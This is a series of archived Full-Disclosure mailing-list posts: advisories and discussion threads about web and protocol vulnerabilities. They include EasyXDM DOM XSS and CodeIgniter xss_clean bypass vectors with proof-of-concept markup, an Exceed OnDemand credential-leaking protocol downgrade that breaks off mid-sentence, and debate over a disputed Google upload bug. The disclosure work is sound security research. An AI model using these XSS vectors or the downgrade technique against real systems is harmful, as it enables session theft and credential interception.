Re: [Full-disclosure] Fwd: Google vulnerabilities with PoC
Nicholas, seriously, just stop. You have found an 'arbitrary file upload' in a file hosting service and claim it is a serious vulnerability. With no proof that your 'arbitrary file' is being used anywhere in any context that would lead to code execution - on server or client side. You cite OWASP documents (which are unrelated to the case), academia papers from 1975 just to find a reason it's theoretically serious, not paying any attention to what service you're actually attacking and what have you really achieved in that (which is demonstrating a filtering weakness at best, low risk). Everyone on this list so far explains why you're wrong, but you just won't stop. So you start throwing out certificates, your academia experience and your respected company. Then - name calling everyone else. Seriously, it's just a good laugh for most of us. Dude, please, just because you did not qualify for a bounty, there's no point in launching a whole campaign like you are. You're essentially following the path of Khalil Shreateh (the guy who posted on Zuckerberg FB wall) - he DID find a vuln though. Do you really want that? Go ahead, start a crowdsourcing campaign! 2014-03-14 19:40 GMT+01:00 Nicholas Lemonias. lem.niko...@googlemail.com: We have many PoC's including video clips. We may upload for the security world to see. However, this is not the way to treat security vulnerabilities. Attacking the researcher and bringing you friends to do aswell, won't mitigate the problem. ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/ ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
Re: [Full-disclosure] Fwd: Google vulnerabilities with PoC
Care to report the same to Dropbox and Pastebin? It's a gold mine, you know... 2014-03-14 20:09 GMT+01:00 Nicholas Lemonias. lem.niko...@googlemail.com: You are wrong, because we do have proof of concepts. If we didn't have them, then there would be no case. But if there are video clips, images demonstrating impact - in which case arbitrary file uploads (which is a write() call ) to a remote network, then it is a vulnerability. It is not about the bounty, but rather about not defying academic literature and widely recognised practise. Attacking the arguer, won't make the bug to go away. Best, Nicholas. On Fri, Mar 14, 2014 at 7:01 PM, Krzysztof Kotowicz kkotowicz...@gmail.com wrote: Nicholas, seriously, just stop. You have found an 'arbitrary file upload' in a file hosting service and claim it is a serious vulnerability. With no proof that your 'arbitrary file' is being used anywhere in any context that would lead to code execution - on server or client side. You cite OWASP documents (which are unrelated to the case), academia papers from 1975 just to find a reason it's theoretically serious, not paying any attention to what service you're actually attacking and what have you really achieved in that (which is demonstrating a filtering weakness at best, low risk). Everyone on this list so far explains why you're wrong, but you just won't stop. So you start throwing out certificates, your academia experience and your respected company. Then - name calling everyone else. Seriously, it's just a good laugh for most of us. Dude, please, just because you did not qualify for a bounty, there's no point in launching a whole campaign like you are. You're essentially following the path of Khalil Shreateh (the guy who posted on Zuckerberg FB wall) - he DID find a vuln though. Do you really want that? Go ahead, start a crowdsourcing campaign! 2014-03-14 19:40 GMT+01:00 Nicholas Lemonias. lem.niko...@googlemail.com : We have many PoC's including video clips. We may upload for the security world to see. However, this is not the way to treat security vulnerabilities. Attacking the researcher and bringing you friends to do aswell, won't mitigate the problem. ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/ ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
Re: [Full-disclosure] Fwd: Google vulnerabilities with PoC
2014-03-14 20:28 GMT+01:00 Nicholas Lemonias. lem.niko...@googlemail.com: Then that also means that firewalls and IPS systems are worthless. Why spend so much time protecting the network layers if a user can send any file of choice to a remote network through http... No, they are not worthless per se, but of course for an user content publishing service they need to allow file upload over HTTP/s. How far those files are inspected and later processed is another question - and that could lead to a vulnerability that you DIDN'T demonstrate. You just uploaded a .sh file. There's no harm in that as nowhere did you prove that that file is being executed. Similarly (and that has been pointed out in this thread) you could upload a PHP-GIF polyglot file to a J2EE application - no vulnerability in this. Prove something by overwriting a crucial file, tricking other user's browser to execute the file as HTML from an interesting domain (XSS), popping a shell, triggering XXE when the file is processed as XML, anything. Then that is a vulnerability. So far - sorry, it is not, and you've been told it repeatedly. As for the uploaded files being persistent, there is evidence of that. For instance a remote admin could be tricked to execute some of the uploaded files (Social Engineering). Come on, seriously? Social Engineering can make him download this file from pastebin just as well. That's a real stretch. IMHO it is not a security issue. You're uploading a file to some kind of processing queue that does not validate a file type, but nevertheless only processes those files as video - there is NO reason to suspect otherwise, and I'd like to be proven wrong here. Proven as in PoC. ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
[Full-disclosure] [CVE-2014-1403] DOM XSS in EasyXDM 2.4.18
Affected products
=
easyXDM library 2.4.19 - http://easyxdm.net/wp/
easyXDM is a Javascript library that enables you as a developer to easily
work around the limitation set in place by the Same Origin Policy, in turn
making it easy to communicate and expose javascript API's across domain
boundaries.
Vulnerabilities are fixed in version 2.4.19. All users are advised to
upgrade.
CVE
===
CVE-2014-1403
DOM XSS in name.html location.hash value
Description
---
EasyXDM uses name.html file to bootstrap cross origin communication
between documents. It accepts various parameters in location.hash value,
one of which is the URL of the document to load. Value of this parameter
is not filtered, allowing to pass javascript: URL that may execute
arbitrary Javascript code in context of the domain hosting EasyXDM
installation.
This vulnerability is described in greater details in [1]
Analysis
The root cause of the vulnerability is the following code in name.html
file:
if (location.hash) { // DOM XSS source
if (location.hash.substring(1, 2) === _) {
var channel, url,
hash = location.href.substring(location.href.indexOf(#) + 3),
indexOf = hash.indexOf(,);
if (indexOf == -1) {
channel = hash;
}
else {
channel = hash.substring(0, indexOf);
url = decodeURIComponent(hash.substring(indexOf + 1));
}
switch (location.hash.substring(2, 3)) {
/...
case 3:
// NameTransport remote
var guest = window.parent.frames[
easyXDM_ + channel + _provider
];
if (!guest) {
throw new Error(unable to reference window);
}
guest.easyXDM.Fn.get(channel)(window.name);
location.href = url + #_4 + channel + ,; // DOM XSS sink
break;
Part of location hash, under certain conditions, ends up in location.href
assignment, triggering JS execution.
Proof of Concept
iframe id=f/iframe iframe name=easyXDM_constructor_provider
src=http://domain/example/bridge.html; onload=document.getElementById('f'
).src=
'http://domain/name.html#_3constructor,javascript:alert(document.domain)//'
; /iframe
Credits
===
Vulnerability found by Krzysztof Kotowicz kkotowicz at cure53.de
http://blog.kotowicz.net
Timeline
- 2013-01-xx - Discovery
- 2013-01-10 - Notified project maintainer
- 2013-01-19 - Fixed version release
- 2013-01-31 - Public disclosure
Related links
=
[1]
http://blog.kotowicz.net/2014/01/xssing-with-shakespeare-name-calling.html
___
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/
[Full-disclosure] OpenText Exceed On Demand 8 multiple vulnerabilities
Exceed onDemand (EoD) is a dependable managed application access solution
designed for enterprises. It offers pixel perfect drawing, low cost
scalability and trusted security access over any network connection.
Vulnerabilities are present in the current version of the software:
- Product URL:
http://connectivity.opentext.com/products/exceed-ondemand.aspx
- Product Name: **OpenText Exceed OnDemand 8**
- Client version: = **13.8.3.497**
- Server version: = **13.8.3.521**
All proof-of-concept codes together with this advisory are hosted at
https://github.com/koto/exceed-mitm
Credits
=
- Slawomir Jasek `Slawomir dot Jasek at securing dot pl`
- Krzysztof Kotowicz `kkotowicz at securing dot pl`
Dates
=
- 18.11.2013 - Vendor disclosure
- 21.11.2013 - Additional vulnerabilities found reported to vendor
- 21.11.2013 - Vendor acknowledges the report, no further details to
share
- 06.12.1013 - Query about issue resolution initial public disclosure
date, vendor ignores
- 16.12.2013 - Full disclosure
Authentication bypass due to protocol downgrade (CVE-2013-6806)
===
Summary
---
If communication between EoD Client and Cluster Manager can be intercepted
and tampered with (e.g. by using ARP poisoning/DNS hijacking/rogue access
point), EoD Client can be forced to using older authentication protocol,
sending out credentials in the clear.
Details
---
Upon connecting to Cluster Manager (TCP port 5500), EoD Client sends 4
bytes: `\x01\x01\x00\x00`, in turn CM responds with 4 bytes, negotiating
the version of the protocol to use. Respond from current CM version is :
`\x0b\x00\x00\x00`. Such a reponse triggers SSL handshake (similar to
STARTSSL mechanism), credentials are then sent in encrypted SSLv3
connection:
Wireshark dump of the beginning of connection:
01 01 00 00
0b 00 00 00
0004 16 03 00 00 6d 01 00 00 69 03 00 52 8d e8 02 cf m...
i..R
0014 88 d3 96 14 f4 a3 7c 47 f3 0d 85 57 58 d6 c9 f7 ..|G
...WX...
0024 18 24 95 15 2e 05 82 27 b7 1e ff 00 00 42 00 3a .$.'
.B.:
0034 00 39 00 38 00 35 00 34 00 33 00 32 00 2f 00 1b .9.8.5.4
.3.2./..
0044 00 1a 00 19 00 18 00 17 00 16 00 15 00 14 00 13
0054 00 12 00 11 00 0a 00 09 00 08 00 07 00 06 00 05
0064 00 04 00 03 c0 19 c0 18 c0 17 c0 16 c0 15 00 ff
0074 01 00..
(16 03 ... bytes initiate SSL connection)
However, if the attacker modifies the response, sending e.g.
`\x01\x01\x00\x00`, client will send credentials in the clear without
establishing SSL connection first:
01 01 00 00
01 01 00 00
0004 11 01 30 0d 08 03 f1 00 00 00 00 00 00 00 00 00 ..0.
0014 00 ff ff 7f 00 00 01 ac 3d 08 08 68 69 6a 61 63
=..hijac
0024 6b 65 64 0a 30 35 31 45 31 45 31 41 32 36 00 01 ked.051E
1E1A26..
Exemplary bytes sent right after the 8-bytes handshake contain user login
and obfuscated password. In standard connection, the same packet is sent
within SSL stream.
We did not try to use Kerberos-based authentication protocol, but the
attack against that will most likely be identical (instead of credentials
the Kerberos ticket will be sent in the clear).
Access conditions
---
Man-in-the-middle attacker
Impact
--
Credentials disclosure, authentication bypass
Proof of Concept
`exceed-downgrade.py` script can be used to test for and exploit that
vulnerability.
Recommendation
-
Do not allow servers to downgrade a protocol in EoD Client communication.
Always require that the credentials are sent in encrypted channel.
More info
-
- CWE-757: Selection of Less-Secure Algorithm During Negotiation
('Algorithm Downgrade') - http://cwe.mitre.org/data/definitions/319.html
- http://en.wikipedia.org/wiki/Opportunistic_encryption
Man in the Middle vulnerability (CVE-2013-6807)
Summary
---
If communication between EoD Client and Cluster Manager can be intercepted
and tampered with (e.g. by using ARP poisoning/DNS hijacking/rogue access
point), communication over SSL channel can be man-in-the-middled due to
using anonymous SSL ciphers.
Details
---
Current version of EoD client when connecting to server side components,
establishes encrypted SSL connection (with the exception of connecting to
EoD Proxy, for which SSL encryption is optional and turned off by default).
In SSL `ClientHello` message EoD client advertises several anonymous
ciphers. In their default configuration EoD servers choose
Re: [Full-disclosure] Paypal Core Bug Bounty #3 - Persistent Web Vulnerability
Successful exploitation of the vulnerability results in persistent session hijacking (admin), account steal via persistent phishing or persistent search module web context manipulation. Exactly how is the session hijacking/phishing/web content manipulation _persistent_? Just because the payload is _stored_ does not necessarily mean that is it always running. Proof of Concept: = The persistent vulnerability can be exploited by remote attackers with privileged paypal user account and low required user interaction. [...] Manually reproduce ... 1. Go to the addressbook and switch to add a new contact to adressbook 2. Include script code (html/js) as username to the addressbook and save the context 2. Now, switch to the user search (addressbook) module (other layer) click the user contact search to activate 3. Include the exact name of the username (script code (html/js)) from the addressbook and press the search button 4. The context of the other layer from the addressbook will be executed directly out of the results listing page of the exisiting user contacts 5. Done! POST REQUEST: method=post name=searchContact How is THAT a low user interaction scenario? IIUC, victim has to manually (no mention of CSRF here) insert a XSS payload into his address book, then search for the payload exactly as inserted (is there a antiCSRF token needed for the search request) and only then is the payload executed. During this scenario user knowingly sees uses Javascript code twice - that's hardly low interaction. Unless I'm missing something - is there a cross-account action going on where one user manipulates the address book for a second user (e.g. from the same organisation?) Best regards, Krzysztof Kotowicz ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
[Full-disclosure] CodeIgniter = 2.1.1 xss_clean() Cross Site Scripting filter bypass
This is a security advisory for popular PHP framework - CodeIgniter.
I've found several bypasses in xss sanitization functions in the
framework. These were responsibly disclosed to the vendor and are now
fixed in version 2.1.2. (CVE-2012-1915).
Affected products
==
CodeIgniter = 2.1.1 PHP framework and all CodeIgniter-based PHP
applications using its built-in XSS filtering mechanism.
CVE
CVE-2012-1915
Introduction
==
CodeIgniter ( http://codeigniter.com) is a powerful PHP framework with
a very small footprint, built for PHP coders who need a simple and
elegant toolkit to create full-featured web applications. CodeIgniter
comes with a Cross Site Scripting Hack prevention filter which can
either run automatically to filter all POST and COOKIE data that is
encountered, or you can run it on a per item basis. Several vectors
bypassing claimed XSS filter protections have been found in 2.1.0
version of the framework. In cooperation with vendor, these have been
fixed in version 2.1.2.
Description
=
XSS filter of CodeIgniter framework is implemented in xss_clean()
function defined in system/core/Security.php file. It uses multiple,
mostly blacklist-oriented methods to detect and remove XSS payloads
from the passed input. As per documentation of the filter (
http://codeigniter.com/user_guide/libraries/security.html ) the filter
is supposed to be run on input passed to the application e.g. before
saving data in the database i.e. it's not an output-escaping, but
input sanitizing filter.
There are multiple ways to bypass the current version of the filters,
exemplary vectors are given below:
// Different attribute separators and invalid regexp detecting tag
closure too early
img/src= onerror=alert(1)
button/a= autofocus onfocus=alert#40;1#40;/button
button a= autofocus onfocus=alert#40;1#40;
// Opera 11 svg bypass
svg xmlns=http://www.w3.org/2000/svg;
xmlns:xlink=http://www.w3.org/1999/xlink;feImage set
attributeName=xlink:href
to=data:image/svg+xml;charset=utf-8;base64,
PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciPjxzY3JpcHQ%2BYWxlcnQoMSk8L3NjcmlwdD48L3N2Zz4NCg%3D%3D/
/feImage /svg
// data: URI with base64 encoding bypass exploiting Firefox
origin-inheritance for data:uris
a target=_blank
href=data:text/html;BASE64youdummy,PHNjcmlwdD5hbGVydCh3aW5kb3cub3BlbmVyLmRvY3VtZW50LmRvY3VtZW50RWxlbWVudC5pbm5lckhUTUwpPC9zY3JpcHQ+clickme
in firefox/a
a/''' target=_blank
href=data:text/html;;base64,PHNjcmlwdD5hbGVydChvcGVuZXIuZG9jdW1lbnQuYm9keS5pbm5lckhUTUwpPC9zY3JpcHQ+firefox11/a
These exemplary bypasses may be used to cause both reflected and
stored XSS attacks depending on the way the application built with
CodeIgniter uses the input filtering mechanism.
Proof of concept
=
Build an application on CodeIgniter 2.1.0:
// application/controllers/xssdemo.php
?php if ( ! defined('BASEPATH')) exit('No direct script access allowed');
class Xssdemo extends CI_Controller {
public function index() {
$data['xss'] =
$this-security-xss_clean($this-input-post('xss'));
$this-load-view('xssdemo', $data);
}
}
// application/views/xssdemo.php
form method=post
textarea name=xss?php echo htmlspecialchars($xss);
?/textarea
input type=submit /
/form
pXSS:
hr /
?php echo $xss ?
Launch http://app-uri/index.php/xssdemo and try above vectors.
Mitigation
Upgrade to CodeIgniter = 2.1.2. Avoid using xss-clean() function.
It's based on multiple blacklists and will therefore unavoidably be
bypassable in the future. For input filtering, use HTMLPurifier (
http://htmlpurifier.org/ ) instead.
Credits
==
Vulnerability found by Krzysztof Kotowicz kkotowicz at gmail dot com
http://blog.kotowicz.net
Timeline
===
2012.03.30 - Notified vendor
2012.04.02 - Vendor response
2012.04.03 - 2012.04.10 - Fixes coordinated with vendor
2012.06.29 - v 2.1.2 released with fixes included
2012.07.19 - Public disclosure
___
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/
Re: [Full-disclosure] Trigerring Java code from a SVG image
Kind of. You can still do some stuff from img in Opera. http://kotowicz.net/opera/ On Wed, May 16, 2012 at 12:25 PM, Dan Kaminsky d...@doxpara.com wrote: Anything from img in any browser? On Wed, May 16, 2012 at 2:25 AM, Michele Orru antisnatc...@gmail.com wrote: Mario Heiderich did a lot of research on that, he found so many bugs that allowed to embed Javascript in SVG images. Nice stuff Nick btw, Cheers antisnatchor On Wed, May 16, 2012 at 10:13 AM, Dan Kaminsky d...@doxpara.com wrote: Yeah, there's a bunch of wild stuff in SVG. The browsers ignore most of it, AFAIK. I think Firefox is the only browser to even consider ForeignObjects (which let you throw HTML back into SVG). Probably the most interesting SVG thing is how they either do or don't have script access, depending on whether or not they're loaded as img's. It would be problematic indeed if img src=foo.jpg could suddenly render script! On Tue, May 15, 2012 at 5:07 AM, Nicolas Grégoire nicolas.grego...@agarri.fr wrote: Hello, SVG is a XML-based file format for static or animated images. Some SVG specifications (like SVG 1.1 and SVG Tiny 1.2) allow to trigger some Java code when the SVG file is opened. Given that I had to look at these features for a customer, I developed some PoC codes which are now available online: http://www.agarri.fr/docs/batik-evil.svg http://www.agarri.fr/docs/batik-evil.jar I published a more detailed article on my blog: http://www.agarri.fr/blog/ Regards, Nicolas Grégoire / @Agarri_FR ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/ ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/ -- /antisnatchor ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/ ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
